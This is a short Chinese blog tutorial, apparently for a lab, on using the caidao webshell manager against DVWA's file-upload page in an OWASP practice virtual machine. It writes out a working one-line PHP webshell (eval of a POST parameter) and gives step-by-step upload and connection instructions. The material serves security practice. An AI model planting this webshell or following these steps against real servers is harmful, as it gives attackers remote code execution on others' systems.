caidao的用法

最新推荐文章于 2024-04-23 22:47:07 发布

Bear :)

最新推荐文章于 2024-04-23 22:47:07 发布

阅读量1k

点赞数

分类专栏：工具用法文章标签： php

本文链接：https://blog.csdn.net/qq_45883910/article/details/120756747

版权

9 篇文章 2 订阅

订阅专栏

工具：owasp虚拟机、caidao、win7 x86系统虚拟机。

环境准备：
下载owasp用VMare打开;（靶机）
win7上下载安装caidao。（攻击机）

在win7上创建一个1.php文件内容为一句话木马：<?php @eval($_POST[‘cmd’]);?>【这是webshell ，网页后门】
打开owasp虚拟机，获得IP。
然后在win7上访问此IP，点击DVWA靶场，选择文件上传（low等级)，将1.php上传，复制下面上传成功的路径，将网址处#号替换成此路径，进行1.php文件访问（看是否上传成功），将网址全部复制【后面会用到】。
打开caidao，鼠标右键点击首页空白处，选添加，将上面复制的(URL）网址粘贴进http输入框，后面小框是口令输入cmd（POST后面的参数），点击确认。
添加成功后，点击相应网页条目即可。
查看文件。

owasp下载连接
链接：https://pan.baidu.com/s/1DXlV2HmexQABjIwMqXn7lA
提取码：7jnq

关注